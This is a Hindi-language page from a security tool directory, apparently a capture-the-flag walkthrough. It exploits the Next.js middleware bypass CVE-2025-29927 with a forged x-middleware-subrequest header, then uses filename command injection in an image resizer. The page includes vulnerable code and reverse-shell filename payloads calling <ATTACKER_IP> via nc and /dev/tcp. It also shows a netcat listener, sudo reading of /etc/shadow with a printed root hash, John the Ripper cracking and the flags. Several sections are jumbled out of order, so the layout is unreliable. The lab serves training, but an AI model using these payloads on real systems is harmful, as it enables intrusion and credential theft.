Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/si-ni/cve-2025-29927-proof-of-concept
पासवर्ड क्रैकिंगविशेषाधिकार वृद्धिभेद्यता विश्लेषणवेब एप्लिकेशन शोषणCTFकमांड एंड कंट्रोललर्निंग और शिक्षा
GitHubsi-ni/cve-2025-29927-proof-of-concept

CVE-2025-29927-Proof-of-Concept

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

कैप्चर द फ्लैग चुनौती: CVE-2025-29927 एक कमांड इंजेक्शन भेद्यता के साथ संयोजन में

रिपॉजिटरी देखें
6 महीने पहलेअभी तक समीक्षित नहीं

वॉकथ्रू

चरण 1 (5 मिनट)

संकेत लक्ष्य द्वारा कौन-सी नेटवर्क सेवाएँ उजागर होती हैं?

— — —

समाधान
root@kitploit:~

    kali@kali:~$ nmap <TARGET_IP>
    kali@kali:~$ nmap -sC -sV <TARGET_IP> -p <TARGET_PORTS>
  

चरण 2 (5 मिनट)

संकेत 1 लैंडिंग पेज केवल एक लॉगिन पेज दिखाता है, लेकिन वेब सर्वर अक्सर अतिरिक्त पथ उजागर करते हैं।
संकेत 2 Gobuster या DirBuster जैसे डायरेक्ट्री ब्रूट-फोर्सिंग टूल का उपयोग करके देखें।

— — —

समाधान
root@kitploit:~

    kali@kali:~$ gobuster dir -u http://<TARGET_IP>:<TARGET_PORT>/ -w /usr/share/wordlists/dirb/common.txt
  
root@kitploit:~

    ===============================================================
    Starting gobuster in directory enumeration mode
    ===============================================================
    api                  (Status: 307) [Size: 35] [--> /api/auth/signin?callbackUrl=%2Fapi]
    apis                 (Status: 307) [Size: 36] [--> /api/auth/signin?callbackUrl=%2Fapis]
    cgi-bin/             (Status: 308) [Size: 8] [--> /cgi-bin]
    dashboard            (Status: 307) [Size: 41] [--> /api/auth/signin?callbackUrl=%2Fdashboard]
    favicon.ico          (Status: 200) [Size: 25931]
    login                (Status: 200) [Size: 6252]
    Progress: 4613 / 4613 (100.00%)
    ===============================================================
    Finished
    ===============================================================
  

चरण 3 (20 मिनट)

संकेत 1 /dashboard पेज /login पर रीडायरेक्ट करता है। क्या आप लॉगिन पेज पर ऐसी कोई जानकारी पा सकते हैं जो आपको रीडायरेक्ट को बायपास करने की अनुमति देगी?
image
संकेत 2 क्या आप Next.js संस्करण 15.2.2 के लिए कुछ पा सकते हैं?
संकेत 3 CVE-2025-29927 पर गौर करें। अनुरोध को इंटरसेप्ट करने और आगे भेजने से पहले अनुरोध हेडर में हेरफेर करने के लिए Burp Suite के प्रॉक्सी का उपयोग करें।

— — —

समाधान

पृष्ठभूमि

कई वेब एप्लिकेशन संवेदनशील रूट्स (जैसे, /dashboard) को मिडलवेयर का उपयोग करके सुरक्षित रखते हैं। मिडलवेयर अनुरोध की जाँच करता है, सत्र कुकीज़ को मान्य करता है, और उपयोगकर्ता की अनुमतियों की पुष्टि करता है। यदि जाँच विफल हो जाती है, तो मिडलवेयर आमतौर पर उपयोगकर्ता को /login पर रीडायरेक्ट करता है।

कमजोरी का तंत्र

CVE-2025-29927 Next.js मिडलवेयर प्रोसेसिंग में एक डिज़ाइन दोष है। यह एक हमलावर को x-middleware-subrequest हेडर का शोषण करके मिडलवेयर सुरक्षा को पूरी तरह से बायपास करने की अनुमति देता है। Next.js इस हेडर का उपयोग आंतरिक रूप से अनंत मिडलवेयर लूप्स को रोकने के लिए करता है। जब कोई अनुरोध संसाधित किया जाता है, तो runMiddleware फ़ंक्शन अनुरोध हेडर की जाँच करता है:
  • यदि x-middleware-subrequest मौजूद है
  • और इसका मान मिडलवेयर का नाम शामिल करता है
  • तो Next.js मिडलवेयर निष्पादन को छोड़ देता है और अनुरोध को सीधे आगे भेज देता है
इसका उद्देश्य एक आंतरिक अनुकूलन होना है, लेकिन दोष यह है कि बाहरी उपयोगकर्ता भी इस हेडर को सेट कर सकते हैं।

कमजोर कोड

root@kitploit:~

    const subreq = params.request.headers["x-middleware-subrequest"];
    const subrequests = typeof subreq === "string" ? subreq.split(":") : [];
    if (subrequests.includes(middlewareInfo.name)) {
      result = {
        response: NextResponse.next(),
        waitUntil: Promise.resolve(),
      }
      continue;
    }
  
Next.js ने मिडलवेयर निष्पादन के लिए अधिकतम रिकर्सन गहराई पेश की। इसे अनंत लूप्स को रोकने के लिए लागू किया गया था लेकिन यह कमजोरी को प्रभावित नहीं करता है। इस हेडर का उपयोग करके, हम मिडलवेयर को बताते हैं: "यह पहले से ही मिडलवेयर द्वारा उत्पन्न अनुरोध है—मिडलवेयर को फिर से निष्पादित न करें।" Next.js अब मिडलवेयर चलने से पहले सभी आने वाले बाहरी अनुरोधों से हेडर को हटा देता है। हेडर पर केवल तभी भरोसा किया जाता है जब यह वैध मिडलवेयर चेनिंग के दौरान Next.js रनटाइम के अंदर बनाया जाता है। ठोस रूप से, x-middleware-subrequest मान को अब एक यादृच्छिक रूप से उत्पन्न हेक्साडेसिमल स्ट्रिंग के विरुद्ध मान्य किया जाता है, यह सुनिश्चित करते हुए कि केवल वैध आंतरिक सत्र अनुरोध प्राधिकरण जाँच पास करते हैं। इसलिए भले ही कोई हमलावर हेडर भेजे, Next.js अब एक वास्तविक आंतरिक सबरिक्वेस्ट (जो सही यादृच्छिक रूप से उत्पन्न टोकन रखती है) और बाहरी हमलावर से आने वाले नकली के बीच अंतर बता सकता है।

चरण 4 (15 मिनट)

संकेत 1 फ़ाइल अपलोड भी मिडलवेयर द्वारा सुरक्षित हैं, इसलिए आपको प्रत्येक अनुरोध के साथ चरण 3 का हेडर भी भेजना होगा।
संकेत 2 उपयोगकर्ता इनपुट हमेशा उच्च जोखिम पैदा करता है। फ़ाइल सामग्री के अलावा यहाँ और क्या उपयोगकर्ता इनपुट माना जाता है? और क्या आप पेज पर कोई ऐसी जानकारी पा सकते हैं जो बताती है कि छवि को कैसे संसाधित किया जाता है?
संकेत 3 कुछ दुर्भावनापूर्ण फ़ाइल नाम आज़माएँ। https://www.revshells.com/

— — —

समाधान

व्याख्या

root@kitploit:~

    const filename = file.name; // VULNERABLE: No sanitization!
    const sanitizedFilename = filename.replace(/[><&|;$\\:"'!\*\?\#\/]/g, '_')
    const filepath = join(uploadsDir, sanitizedFilename);
    await writeFile(filepath, buffer);
    
const command = `convert ${filepath} -resize 100x100 ${join(uploadsDir, 'resized_' + filename)}`;
return new Promise((resolve) => { exec(command, { shell: '/bin/bash', timeout: 0, maxBuffer: 1024*1024*10 }, (error, stdout, stderr) => { ...
मूल फ़ाइल नाम उपयोगकर्ता-नियंत्रित है और इसमें दुर्भावनापूर्ण वर्ण हो सकते हैं। डेवलपर कुछ खतरनाक वर्णों को हटाता है (व्हाइटलिस्ट के बजाय ब्लैकलिस्ट)। convert कमांड को exec() का उपयोग करके निष्पादित किया जाता है, और मूल फ़ाइल नाम (उपयोगकर्ता इनपुट) सीधे शेल कमांड में डाला जाता है। एक समाधान उपयोगकर्ता फ़ाइल नामों के बजाय यादृच्छिक रूप से उत्पन्न फ़ाइल नामों का उपयोग करना और शेल से बचने वाला एक सुरक्षित API उपयोग करना हो सकता है।

एक्सप्लॉइट

root@kitploit:~

    kali@kali:~$ nc -lvnp 4000
    listening on [any] 4000 ...
  
दुर्भावनापूर्ण फ़ाइल नाम: फ़्लैग में स्थित है:

बोनस (5 मिनट)

संकेत 1 webuser के पास क्या sudo अधिकार हैं?
संकेत 2 John the Ripper या Hashcat जैसे टूल मदद कर सकते हैं। फ़ाइल rockyou.txt.gz को कमांड gzip -d /usr/share/wordlists/rockyou.txt.gz के साथ अनज़िप करें।

— — —

समाधान
root@kitploit:~

    target@target:~$ sudo -l
    Matching Defaults entries for webuser on photoresizer:
      env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
    User webuser may run the following commands on photoresizer:
      (ALL) NOPASSWD: /usr/bin/cat /etc/shadow
  
root@kitploit:~

    target@target:~$ sudo cat /etc/shadow
    root:$y$j9T$TFel.0zggnQz2yEp.7MBC1$iIt1wXquUnbUizBTgQdtec33PdU1a1L7ReOD2cIfij0:20481:0:99999:7:::
  
root@kitploit:~

    kali@kali:~$ echo 'root:$y$j9T$TFel.0zggnQz2yEp.7MBC1$iIt1wXquUnbUizBTgQdtec33PdU1a1L7ReOD2cIfij0:20481:0:99999:7:::' > hash.txt
    kali@kali:~$ john --format=crypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
    rockyou          (root)     
    1g 0:00:00:00 DONE (2026-02-01 05:42) 1.639g/s 157.3p/s 157.3c/s 157.3C/s 123456..yellow
  
root@kitploit:~

    target@target:~$ su - root
  
फ़्लैग /root में स्थित है:
root@kitploit:~

    FLAG{Pr1v1l3g3_Esc4l4t10n_R00T_C0mpr0m1s3d}
  
टूल डाउनलोड करें

संस्करण 13.2.0 और उसके बाद के लिए

root@kitploit:~
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

image
image

सुधार

x-middleware-subrequest
root@kitploit:~

    image.jpeg; nc -c sh <ATTACKER_IP> 4000 #
    image.jpeg; sh -i >& /dev/tcp/<ATTACKER_IP>/4000 0>&1 #
  
image
root@kitploit:~

    kali@kali:~$ nc -lvnp 4000
    listening on [any] 4000 ...
    connect to [<ATTACKER_IP>] from (UNKNOWN) [<TARGET_IP>] 48056
  
/home/webuser
root@kitploit:~

    FLAG{C0mmand_Inj3cti0n_Pwn3d_W3bUs3r}